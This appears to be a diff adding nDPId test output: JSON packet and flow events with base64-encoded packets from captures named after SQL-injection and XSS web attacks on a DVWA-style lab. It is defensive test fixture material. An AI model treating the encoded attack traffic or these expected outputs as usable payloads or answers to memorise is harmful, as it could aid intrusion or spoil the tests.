+04089{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":75762,"pkt_caplen":2767,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2767,"pkt_l4_len":2733,"pkt":"AMGxFOsxABm5CmnxCABFAArB7LlAAEAGzJHAqAoyrBAAAQBQjXSy4njau5B8w4AYAOyBnwAAAQEICgPon4gBPs4TeVZdhTMVPHF0zxSJae5AhnOakJpJIv9cnwhw2c+YkMognTgkSlhaXB7monrN05X\/Hwi2KgeDO2i1R91BMOyOhmgU171ea+RfX+ETBBsSCVr9fs9vt079nj\/6DRFufIkqG6g+6A\/8G7\/XPe+igXSvzv0rxOpvuld4Y+QMZI9W+Xnv+rTVC4aj1miMDXHTGvitU0Rh\/Nz9LSjHxHjYOu9icVz3R\/6l\/2\/QVCPQWGgYfdCXl11QmGgNAgQjH9V89HtjUE141Q+u293hsOcPR4gIoKH8q3MsgEH3rDsABe2DimhDV4Ax4SOq68H1eIRprIbti+5la9TCrd8Cp2EIA0P7dbi2a0WBbry0GEBN+G00ghHq8xe198Fe4iLYoKMKEPwhOhr45+eI\/sN4CD4Uvhhu\/O4tWuX+1dV15zToXbd\/xmYYDX5FJhj+Ngw6YDxR51wly9lIq4ozH82xqsjkxh+Mxq0eMkn7so\/fJqdd8HWDTrcHM58OvkCCQXfYRXP+Kxx9UKX+VaeLPYSB5bJ7aYVYoLfY0U9Ox2dn2tK1zrtBbzC2wNQEty0fz\/9Z2Zsu9NvCF\/Kvzq4t0LNmAKFbHk2C66xXQM78bq+DDbKh4KzQLZUhbYOWO2uNeyOYal\/3b68H2OoOiIqGMp3YFph2q32BDbMe2agT4ZLmsgsTQLz1iKqSuR50\/fMrvbqPjVP4L5Zol+vrIvaDLRTdRsjB0N3eYgFJMZYxG2iWU6kmnN9hAeSSColVecjjPEllkAm2wGKIJlg103TGUr37Ryo0hAVN0Sqf5mmINu6o3nwVBzGfoSEoFgV643euaIQFMadxFoRE0RkXD6gQd\/RhyQWuIASNSbFtDxFC8YyhjQuWpjyaBCyN6H0gFVFotqEkKUpEJUkBY8JSUBWFXLA4sjif4e14zARH65W6blwvAQjuGcVlAE9tQQWqv1AgoI1EGZMFDRIiFciBmb3smCDaXDwEhV7AZgHbeYcuFL7EdKiKdKhDVLGEBn\/wlKIDBDElWSBpyFM0n2oNo8\/xKZQgqWSYDt4+lkC\/g4E5\/ceqm4Qhz1M8v04PjUC\/EE3SkKJRmCm41B7uDJRXmAuBOCXfhJkzqRCnhXthwMCkaBZmk0jmSUKAaPIQlF1ZH5o0qArvIOUcPEfLEdVcUBJZDqmVps2Is5hPSGwboaKJObRGxa2ArFFzW0CWqLoVlf3qbg9pxGBgWNTXLNfGezAzwWeCJFay2Wkt9oDaaDG2MS20GmaSVLwIb4vd2ECyw3LsQ7LBdmxwWW49DrFap6QPgVqoCg+hWqcM94JaqA6XhFnjPxcsdijADRYbNF8BZLnK24G0TtftEK4W62zjslD57jBap3U3CW1St1MGJaEvDBuKSgNaIheLhqNRWCGBTJgEaB0koYm2d7aamV08ewzMLptNKnyXzh7lvcVmk9rWHwiPiCKB+cAgGkWu6D2+9eAT\/QnCffYVM9ycUWHygmQCHQvH20oEFWZE0Ki6EobeaMC0+mh5QPQHzM12r3TKZrlA3Zi6D0wLLrdKVAWR7uMh5yJiKYEJoZ2AxXYtG9igf6U0XB3a1dUqbPb0tpngeRaAHZyULWodFR7QUptefD0qi29tP\/rDZT8KiFKIm1dLKEtgFHQXEoKCRGYAcYCPgrmp2GAUfxjD+AG4IKXjhguB65tJUCJUWaBGCg6r1mB2mbBXYdZOTalu8UHmmK9IPFIUSwr4HJh7fIui5lBZjDeOi6IY3xdQ0O+55ZLM8LanH4Qzd3CxjDtnGZgZVWh9yazELYhgJj3+MLcIJUtIEOhvGUA\/QfuegYEIwUrrt7vL7wvgshgG1BezDEdEJZulespKlWLpDFcq9D7jQgWKJllMFJ5pMDBTsuCCKbxVUQ2BvJXCMKRkwWYm+5xFDG8bhYHJommg\/wYcbt8QNETcbFMi4H6VwEBIsqCRpERAXtwWKcozK7w2gKAr9qK8nEHtU2SBCBLeYasN7aAVC9noGGZNFrdJUD\/vZOL95bzBBgbtIhd7e9BG7AEc1KDsNlPxNplFNEV8NtCOYhpa05PWYJiNV34mZ5JPp6twlIEzpVgGhbpuAINsY5sPcm8CnPWWDKMFJrpXIU6F9hLZJCW9DmWXlFZEyFIyM2iFbdrKnWGVfX7lmwq4DbbGWo99y8BWu\/tswlp3cgupFFckRtxmKFiI59bLADKEd0GsR9k6bI26RFAkD0iuOCCFovCLkJdfS6j1twyZVIgNV+IU8f2AL6hYMLpEphE0ytOIpKoQE2KsveDZDjtZgWNN39nGCZZMzUs32wa0EmgKdaxYQ4KuAPIUDGyE3sGL7V\/Yu8+kjJH3Uq7nzSQl8YNk+CRlv6VCcCEDLkD3iBQzRrZNZs2I2uISeaq3iumt88HnH+FCRoWOlzC8ef42ouRCIa5Jb+PoiGepLNGQHmSAu0JuJjzIC8NVBgsWhg\/goH8c0p6F4T00diwMHwbDbDz9nWZEf8MsjYUxkeB4VBYTyGKG3VwHyCygktXFM1t4VotTVvBY01z3b20Ibm5SWGDFDgKhqsJdKlxLtpfHDlv2NTTcJrQy0HkQCzXU+UiFv44GKHbFXQ2QZZHXA0x2ScqK6OsBJnRJ2RGBvX9raQy2CmZZFLaKZlUc9hHMskjsNhdqLPb+rf7TUFTKmOG98QcQsvzQ9PYi6GrKi7faXoWrTL7hklSCTXLMqLFhOxTawlSjJdMUhAXSopH+44SILWhZIPsRyJZg7RaQdRKyK2C7CWdZgAngcOOkAGBNfLLCYl2EcpfNoi5kf5RyFxI5TrkLZEGk8v6tDZHCTQorVlltjBbuUmGvslobMfwaGm4T2hu2O8hmBZdNobsKkSXBuxXRgUZ78\/pV3YvYAg704fxvzUsuqOOvK6x7cFHfy2P961U9Zs06ceaCThvuXKnsxPOWy2VN0jDXb\/KTpBbyxCtPHwTVW22l92On\/+nquP+Pv3drc5XELjyjmFHVcINJTNI7t\/k\/F1X3SLPuAdVeOgll0rS2ZHcsoxEjNS5mnj7zhr\/0wCvRO4LhKffzfGPmrxNAGTDlEPm8lpAFU3lKiqf6PT56LOEIGpUoOadUHfG73DsonmeX9CRbBpqPSpXwFGbatZQqz5RwZIrYLNtLHvT5nvqK1Aepv2MdT7e27kF8SWRmWsvM3GvZPDNN5j\/d3t+U\/UmpTvhk8nBUDFLTSAdls5OyWnbdM6OuGKJ6hMK\/YoAX\/xdX3hR3KgMZTuDYMRq74YYxJcJtHkjEooYrHyTYQPNCfZnuVZ2lWa4cbRMb7iRXSgttQeIcTm9gHDoXNM7cVRUZz\/IsWCXjaTtm4V3D\/UIWRIaCZeoEUoyz9867Ws2Dn0Uep1SQCYuZYlR6emQHcyhRy\/onQIIOwP6yGvmNmC\/fOR\/cpvMk1ZDnMMH4vlzSlPkUmZYlidksbbgxnSq3WadJcwxWwCjiugdnDokSlpYNCOfDshSnRxc0LtNAiesU\/Yu+3xmWdyImdTeJVm14sDmnnCtqWrxsy6zZIUnq3JRPF1Pnlk6cVvb4EVPnfefmtvXBWRzXjj85Hzuah2faK\/oIhqK5p4dVzQZ04ujBHIO1AJXc\/C9\/ujOm37gAAA=="} +00430{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":76460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tHtAAD4GEV2sEAABwKgKMo10AFC7kHzDsuJ42oAQAPuaPAAAAQEICgE+zhUD6J+I"} +00430{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348514,"pkt_ts_usec":76850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tHxAAD4GEVysEAABwKgKMo10AFC7kHzDsuKDZ4AQASWPhAAAAQEICgE+zhYD6J+I"} +00431{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348519,"pkt_ts_usec":77010,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tH1AAD4GEVusEAABwKgKMo10AFC7kHzDsuKDZ4ARASWKoQAAAQEICgE+0vgD6J+I"} +00431{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348519,"pkt_ts_usec":77129,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07LtAAEAG1xzAqAoyrBAAAQBQjXSy4oNnu5B8xIARAOyF9wAAAQEICgPopGoBPtL4"} +00431{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348519,"pkt_ts_usec":77716,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tH5AAD4GEVqsEAABwKgKMo10AFC7kHzEsuKDaIAQASWFvgAAAQEICgE+0vgD6KRq"} diff --git a/test/results/WebattackXSS.pcap.out b/test/results/WebattackXSS.pcap.out new file mode 100644 index 000000000..db80509c7 --- /dev/null +++ b/test/results/WebattackXSS.pcap.out @@ -0,0 +1,6062 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1499346935283,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52098,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":283859,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wadAAD4GBCmsEAABwKgKMsuCAFAodgngAAAAAKACchCXWwAAAgQFtAQCCAoBOMhHAAAAAAEDAwc="} +00439{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":283960,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQy4I5j3VaKHYJ4aAScSBLsAAAAgQFtAQCCAoD4pm+ATjIRwEDAwc="} +00427{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":285304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wahAAD4GBDCsEAABwKgKMsuCAFAodgnhOY91W4AQAOXqtwAAAQEICgE4yEcD4pm+"} +00842{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":285308,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"ABm5CmnxAMGxFOsxCABFAAFpwalAAD4GAvqsEAABwKgKMsuCAFAodgnhOY91W4AYAOVM7wAAAQEICgE4yEcD4pm+R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1499346935283,"flow_last_seen":1499346935285,"flow_tot_l4_data_len":453,"flow_min_l4_data_len":32,"flow_max_l4_data_len":341,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52098,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00427{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":285364,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07OVAAEAG1vLAqAoyrBAAAQBQy4I5j3VbKHYLFoAQAOvpfAAAAQEICgPimb4BOMhH"} +01114{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":286775,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"AMGxFOsxABm5CmnxCABFAAI07OZAAEAG1PHAqAoyrBAAAQBQy4I5j3VbKHYLFoAYAOvIDwAAAQEICgPimb8BOMhHSFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjM1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpTZXQtQ29va2llOiBQSFBTRVNTSUQ9MjNyZ252ajc4azdxZmhndGZyNGI5cTQwNzU7IHBhdGg9Lw0KRXhwaXJlczogVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wDQpQcmFnbWE6IG5vLWNhY2hlDQpTZXQtQ29va2llOiBQSFBTRVNTSUQ9MjNyZ252ajc4azdxZmhndGZyNGI5cTQwNzU7IHBhdGg9Lw0KU2V0LUNvb2tpZTogc2VjdXJpdHk9bG93DQpMb2NhdGlvbjogLi4vLi4vbG9naW4ucGhwDQpDb250ZW50LUxlbmd0aDogMA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo="} +00428{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":287358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wapAAD4GBC6sEAABwKgKMsuCAFAodgsWOY93W4AQAO3neAAAAQEICgE4yEgD4pm\/"} +00887{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":299420,"pkt_caplen":408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":408,"pkt_l4_len":374,"pkt":"ABm5CmnxAMGxFOsxCABFAAGKwatAAD4GAtesEAABwKgKMsuCAFAodgsWOY93W4AYAO1FfQAAAQEICgE4yEsD4pm\/R0VUIC9kdi9sb2dpbi5waHAgSFRUUC8xLjENCkhvc3Q6IDIwNS4xNzQuMTY1LjY4DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQ7IHJ2OjQ1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDUuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29va2llOiBQSFBTRVNTSUQ9MjNyZ252ajc4azdxZmhndGZyNGI5cTQwNzUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +01960{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":306465,"pkt_caplen":1199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1199,"pkt_l4_len":1165,"pkt":"AMGxFOsxABm5CmnxCABFAASh7OdAAEAG0oPAqAoyrBAAAQBQy4I5j3dbKHYMbIAYAPNCTAAAAQEICgPimcQBOMhLSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjM1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTIzcmdudmo3OGs3cWZoZ3RmcjRiOXE0MDc1OyBwYXRoPS8NClNldC1Db29raWU6IHNlY3VyaXR5PWxvdw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNjk5DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD05OQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOA0KDQofiwgAAAAAAAADpVRRT9swEH4eEv\/h8Es3pMQNhW2wJBJrOw2pjApS2J6QkziNVSf2EreF\/frZSdqmpA+T9mLd2b7v+3x3vuMj92R0Nwx+TceQqozDdPZ1cjMEZGH8NBhiPApG8PN7cDsBx+7DgypYpDAe\/0CAUqXkFcbr9dpeD2xRzHFwj18MimPCGtMqqxg7VjHyj4+Oj9yK5yXjeekdwHAuLy\/r0Pr6OzelJK7Nd25GFQETZNHfS7by0FDkiubKCl4lRRDVnocUfVHYgHyBKCVFSZU3C75ZnxHgDZRiilN\/IuYsh6srGJEsh8clz2lBQk7hiYZwLSVnEVFM5PB+9Ph0\/QFWju304XREV5QLmWmyUxfXUA0uZ\/kCCso9VKpXTsuUUoVAaX2NrKgsEaQFTTwUr9bE+JgbGXZ10gh08e7dbiji18aM2QpY7KF1QaSkBXqzbYJ2u2GxhZO+y7I5lEXU0LKMzGnD\/KxXYct8buhdLLvhWBP44J5YVofKst5oaKqwEZGIIgMSmSx6qH6oTCUCXctU6OtSlLu7jPJYV6tJps4mCSkHDeGhZWnYZnrNSUZdXB1pTSyXS9VKsG4DTsqy4boxpwhK9kcfn\/URmOAazFjI372ywyg1DPKnel2LIj7MKJvTg6zXs+BueHc7nYyDsYdEknSFbONbQoyMPUduwMtlmDGdrT0JzSasCF9qt2rpDXzttGqK91PcBuqlLI5p3qtDeyZFz0oszE4N3Yvi5BO9CM8\/OgMnHAz6xEmS5PycnCX98GKQnPV2\/WKq3mmjPf8\/DWPqdoTDbX1P8lhkD0qr2PQ1VI1atzK86eVty3aaORFC7T6U\/kWk+but0WWI7UjYywXWP50Ucz1u0HPISb5A\/r8NFheTdpG6v22jA7YKD1zaDoXWre3scKuB6P8FgeSQO\/MFAAA="} +00920{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":341608,"pkt_caplen":431,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":431,"pkt_l4_len":397,"pkt":"ABm5CmnxAMGxFOsxCABFAAGhwaxAAD4GAr+sEAABwKgKMsuCAFAodgxsOY97yIAYAQQVjwAAAQEICgE4yFUD4pnER0VUIC9kdi9kdndhL2Nzcy9sb2dpbi5jc3MgSFRUUC8xLjENCkhvc3Q6IDIwNS4xNzQuMTY1LjY4DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQ7IHJ2OjQ1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNDUuMA0KQWNjZXB0OiB0ZXh0L2NzcywqLyo7cT0wLjENCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KUmVmZXJlcjogaHR0cDovLzIwNS4xNzQuMTY1LjY4L2R2L2xvZ2luLnBocA0KQ29va2llOiBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD0yM3JnbnZqNzhrN3FmaGd0ZnI0YjlxNDA3NQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +01427{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":342412,"pkt_caplen":807,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":807,"pkt_l4_len":773,"pkt":"AMGxFOsxABm5CmnxCABFAAMZ7OhAAEAG1ArAqAoyrBAAAQBQy4I5j3vIKHYN2YAYAPyJMAAAAQEICgPimc0BOMhVSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE1OjM1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBNb24sIDI2IEp1biAyMDE3IDE0OjQ0OjQ4IEdNVA0KRVRhZzogIjM0YS01NTJkZGZlMjQyYjkwLWd6aXAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogNDA2DQpLZWVwLUFsaXZlOiB0aW1lb3V0PTUsIG1heD05OA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2Nzcw0KDQofiwgAAAAAAAADdVJBbsIwEDwXiT9YQr0RmlDgEE7toWqf4cTrsMJ4LduQ0Kp\/r51gCFWrvcSbndmZsSsSZ\/Y1nTxUvN43lo5alGwmQUoJ29CWpH3JiqXpnoq16diLRa7m7B3UCTzWfM4c1y5zYFHGeYUash1gswuwZW662KxJkQ20mypW6HxPJ9PJrLXcGLD9eg+dz7jCRpesBu3BRuCB2wZDJ2f86OkKrIOoMNMDBTqj+LlkqPvdlaJ6H7GGC4G6ualoUfhdec8kifxFgSGHHils45UjdfQwAhV5\/hiPydn6wlmR93QIAoejAunToV+geAWqp5eKePgXJ7a\/\/NrIebOb2WFHvljDYTu2ePVGJ7CBsC3ZDoUAPfKb0ElhvMCsvciuSIkkbaEoLPvQ5uj\/Eni9s9dYoyieU563F5Ol4bdVrCEYKyC0ipRTPGbOnxWULMSLYtRO8HoV6+7yNgP+kkyKO77H5EMiKOFgMJE0JvdXniI0+pdw+\/ovyHutmjSkVWYIKibq8BMG1vTzB9B5D8NKAwAA"} +00952{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343088,"pkt_caplen":454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":454,"pkt_l4_len":420,"pkt":"ABm5CmnxAMGxFOsxCABFAAG4wa1AAD4GAqesEAABwKgKMsuCAFAodg3ZOY9+rYAYARVYPgAAAQEICgE4yFYD4pnNR0VUIC9kdi9kdndhL2ltYWdlcy9sb2dpbl9sb2dvLnBuZyBIVFRQLzEuMQ0KSG9zdDogMjA1LjE3NC4xNjUuNjgNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80NS4wDQpBY2NlcHQ6IGltYWdlL3BuZyxpbWFnZS8qO3E9MC44LCovKjtxPTAuNQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpSZWZlcmVyOiBodHRwOi8vMjA1LjE3NC4xNjUuNjgvZHYvbG9naW4ucGhwDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgUEhQU0VTU0lEPTIzcmdudmo3OGs3cWZoZ3RmcjRiOXE0MDc1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1499346935343,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52100,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346935,"pkt_ts_usec":343132,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8IaBAAD4GpDCsEAABwKgKMsuEAFAW1en2AAAAAKACchDI1AAAAgQFtAQCCAoBOMhWAAAAAAEDAwc="} 